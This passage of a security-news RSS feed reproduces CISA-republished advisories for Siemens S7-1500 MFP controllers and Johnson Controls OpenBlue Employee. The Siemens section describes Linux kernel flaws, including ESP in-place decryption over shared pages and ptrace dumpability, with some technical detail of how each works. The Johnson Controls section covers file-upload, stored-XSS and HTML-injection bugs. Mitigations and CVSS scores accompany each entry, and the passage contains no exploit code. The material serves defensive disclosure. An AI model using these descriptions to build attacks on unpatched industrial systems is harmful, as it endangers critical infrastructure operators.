<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/358.html">CWE-358 Improperly Implemented Security Check for Standard</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-43284</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: xfrm: esp: avoid in-place decrypt on shared skb frags MSG_SPLICE_PAGES can attach pages from a pipe directly to an skb. TCP marks such skbs with SKBFL_SHARED_FRAG after skb_splice_from_iter(), so later paths that may modify packet data can first make a private copy. The IPv4/IPv6 datagram append paths did not set this flag when splicing pages into UDP skbs. That leaves an ESP-in-UDP packet made from shared pipe pages looking like an ordinary uncloned nonlinear skb. ESP input then takes the no-COW fast path for uncloned skbs without a frag_list and decrypts in place over data that is not owned privately by the skb. Mark IPv4/IPv6 datagram splice frags with SKBFL_SHARED_FRAG, matching TCP. Also make ESP input fall back to skb_cow_data() when the flag is present, so ESP does not decrypt externally backed frags in place. Private nonlinear skb frags still use the existing fast path. This intentionally does not change ESP output. In esp_output_head(), the path that appends the ESP trailer to existing skb tailroom without calling skb_cow_data() is not reachable for nonlinear skbs: skb_tailroom() returns zero when skb-&gt;data_len is nonzero, while ESP tailen is positive. Thus ESP output will either use the separate destination-frag path or fall back to skb_cow_data().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-43284">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/123.html">CWE-123 Write-what-where Condition</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-46174</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: x86/CPU/AMD: Prevent improper isolation of shared resources in Zen2's op cache Make sure resources are not improperly shared in the op cache and cause instruction corruption this way.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-46174">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-46300</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: skbuff: preserve shared-frag marker during coalescing skb_try_coalesce() can attach paged frags from @from to @to. If @from has SKBFL_SHARED_FRAG set, the resulting @to skb can contain the same externally-owned or page-cache-backed frags, but the shared-frag marker is currently lost. That breaks the invariant relied on by later in-place writers. In particular, ESP input checks skb_has_shared_frag() before deciding whether an uncloned nonlinear skb can skip skb_cow_data(). If TCP receive coalescing has moved shared frags into an unmarked skb, ESP can see skb_has_shared_frag() as false and decrypt in place over page-cache backed frags. Propagate SKBFL_SHARED_FRAG when skb_try_coalesce() transfers paged frags. The tailroom copy path does not need the marker because it copies bytes into @to's linear data rather than transferring frag descriptors.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-46300">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/123.html">CWE-123 Write-what-where Condition</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-46333</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ptrace: slightly saner 'get_dumpable()' logic The 'dumpability' of a task is fundamentally about the memory image of the task - the concept comes from whether it can core dump or not - and makes no sense when you don't have an associated mm. And almost all users do in fact use it only for the case where the task has a mm pointer. But we have one odd special case: ptrace_may_access() uses 'dumpable' to check various other things entirely independently of the MM (typically explicitly using flags like PTRACE_MODE_READ_FSCREDS). Including for threads that no longer have a VM (and maybe never did, like most kernel threads). It's not what this flag was designed for, but it is what it is. The ptrace code does check that the uid/gid matches, so you do have to be uid-0 to see kernel thread details, but this means that the traditional "drop capabilities" model doesn't make any difference for this all. Make it all make a *bit* more sense by saying that if you don't have a MM pointer, we'll use a cached "last dumpability" flag if the thread ever had a MM (it will be zero for kernel threads since it is never set), and require a proper CAP_SYS_PTRACE capability to override.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-46333">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/269.html">CWE-269 Improper Privilege Management</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Siemens ProductCERT reported these vulnerabilities to CISA.</li>
</ul>
<hr>
<h2>General Recommendations</h2>
<p>As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity</p>
<hr>
<h2>Additional Resources</h2>
<p>For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories</p>
<hr>
<h2>Terms of Use</h2>
<p>The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.</p>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolate them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<hr>
<h2>Advisory Conversion Disclaimer</h2>
<p>This ICSA is a verbatim republication of Siemens ProductCERT SSA-019113 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.</p>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-14</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-14</td>
<td>1</td>
<td>Publication Date</td>
</tr>
<tr>
<td>2026-07-28</td>
<td>2</td>
<td>Initial CISA Republication of Siemens ProductCERT SSA-019113 advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Johnson Controls OpenBlue Employee]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of these vulnerabilities could allow an attacker to upload malicious files, execute stored cross-site scripting attacks, or inject arbitrary HTML content.
The following versions of Johnson Controls OpenBlue Employee are affected:

OpenBlue Employee (FMS E...]]></description>
<link>https://tsecurity.de/de/3697598/it-security-nachrichten/johnson-controls-openblue-employee/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3697598/it-security-nachrichten/johnson-controls-openblue-employee/</guid>
<pubDate>Mon, 03 Aug 2026 00:06:07 +0200</pubDate>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-211-02.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of these vulnerabilities could allow an attacker to upload malicious files, execute stored cross-site scripting attacks, or inject arbitrary HTML content.</strong></p>
<p>The following versions of Johnson Controls OpenBlue Employee are affected:</p>
<ul>
<li>OpenBlue Employee (FMS Employee) &lt;=V2025.3.1 (CVE-2026-21662, CVE-2026-34495, CVE-2026-34497)</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 2.4</td>
<td>Johnson Controls Inc.</td>
<td>Johnson Controls OpenBlue Employee</td>
<td>Unrestricted Upload of File with Dangerous Type, Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing, Commercial Facilities, Government Services and Facilities, Transportation Systems, Energy</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Ireland</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-21662</a></h3>
<div class="csaf-accordion-content">
<p>The application does not adequately restrict the types of files that can be uploaded, allowing an attacker to submit files with dangerous content types. Uploaded files may be stored in predictable locations and could be leveraged for further exploitation against the application or its users.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-21662">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Johnson Controls OpenBlue Employee</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Johnson Controls Inc.</div>
<div class="ics-version"><strong>Product Version:</strong><br>Johnson Controls Inc. OpenBlue Employee (FMS Employee): &lt;=V2025.3.1</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Johnson Controls recommends the following defensive measures to help reduce the risk of exploitation: Apply the latest product update for OpenBlue Employee (FMS Employee). Customers running V2025.3.1 [LV1.1] or earlier should apply the latest available update.</p>
<p><strong>Mitigation</strong><br>Limit application access to authorized users and enforce strong authentication.</p>
<p><strong>Mitigation</strong><br>Enable the "Do Not Show Files" location setting if the feature is not being actively used.</p>
<p><strong>Mitigation</strong><br>Employ a Web Application Firewall (WAF) to help detect and block malicious requests.</p>
<p><strong>Mitigation</strong><br>Investigate and promptly remove any suspicious files or content discovered within the application.</p>
<p><strong>Mitigation</strong><br>Limit internet exposure by restricting access to trusted networks or VPN users where practical.</p>
<p><strong>Mitigation</strong><br>Review uploaded content periodically and remove content that is no longer required.</p>
<p><strong>Mitigation</strong><br>For more detailed mitigation instructions, please see Johnson Controls Product Security Advisory JCI-PSA-2026-09 at the following location: https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories<br><a href="https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories">https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/434.html">CWE-434 Unrestricted Upload of File with Dangerous Type</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>2.4</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N">CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>4.8</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-34495</a></h3>
<div class="csaf-accordion-content">
<p>Stored XSS occurs when the application improperly handles user input and stores malicious JavaScript code within its database. This script is then rendered and executed whenever another user accesses the compromised page. Unlike reflected XSS, persistent XSS is particularly dangerous because the payload remains active until it is manually removed from the system.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-34495">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Johnson Controls OpenBlue Employee</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Johnson Controls Inc.</div>
<div class="ics-version"><strong>Product Version:</strong><br>Johnson Controls Inc. OpenBlue Employee (FMS Employee): &lt;=V2025.3.1</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Johnson Controls recommends the following defensive measures to help reduce the risk of exploitation: Apply the latest product update for OpenBlue Employee (FMS Employee). Customers running V2025.3.1 [LV1.1] or earlier should apply the latest available update.</p>
<p><strong>Mitigation</strong><br>Limit application access to authorized users and enforce strong authentication.</p>
<p><strong>Mitigation</strong><br>Enable the "Do Not Show Files" location setting if the feature is not being actively used.</p>
<p><strong>Mitigation</strong><br>Employ a Web Application Firewall (WAF) to help detect and block malicious requests.</p>
<p><strong>Mitigation</strong><br>Investigate and promptly remove any suspicious files or content discovered within the application.</p>
<p><strong>Mitigation</strong><br>Limit internet exposure by restricting access to trusted networks or VPN users where practical.</p>
<p><strong>Mitigation</strong><br>Review uploaded content periodically and remove content that is no longer required.</p>
<p><strong>Mitigation</strong><br>For more detailed mitigation instructions, please see Johnson Controls Product Security Advisory JCI-PSA-2026-09 at the following location: https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories<br><a href="https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories">https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/79.html">CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>2.4</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N">CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>4.8</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-34497</a></h3>
<div class="csaf-accordion-content">
<p>HTML injection occurs when user-controlled input is embedded into web pages without proper encoding or sanitization, allowing attackers to inject arbitrary HTML markup. This vulnerability enables attackers to manipulate the Document Object Model (DOM) structure and alter the visual presentation of web content. Unlike Cross-Site Scripting (XSS), HTML injection typically involves static HTML content rather than executable JavaScript, though it can serve as a stepping stone to more severe attacks.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-34497">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Johnson Controls OpenBlue Employee</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Johnson Controls Inc.</div>
<div class="ics-version"><strong>Product Version:</strong><br>Johnson Controls Inc. OpenBlue Employee (FMS Employee): &lt;=V2025.3.1</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Johnson Controls recommends the following defensive measures to help reduce the risk of exploitation: Apply the latest product update for OpenBlue Employee (FMS Employee). Customers running V2025.3.1 [LV1.1] or earlier should apply the latest available update.</p>
<p><strong>Mitigation</strong><br>Limit application access to authorized users and enforce strong authentication.</p>
<p><strong>Mitigation</strong><br>Enable the "Do Not Show Files" location setting if the feature is not being actively used.</p>
<p><strong>Mitigation</strong><br>Employ a Web Application Firewall (WAF) to help detect and block malicious requests.</p>
<p><strong>Mitigation</strong><br>Investigate and promptly remove any suspicious files or content discovered within the application.</p>
<p><strong>Mitigation</strong><br>Limit internet exposure by restricting access to trusted networks or VPN users where practical.</p>
<p><strong>Mitigation</strong><br>Review uploaded content periodically and remove content that is no longer required.</p>
<p><strong>Mitigation</strong><br>For more detailed mitigation instructions, please see Johnson Controls Product Security Advisory JCI-PSA-2026-09 at the following location: https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories<br><a href="https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories">https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/80.html">CWE-80 Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>2.4</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N">CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>4.8</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
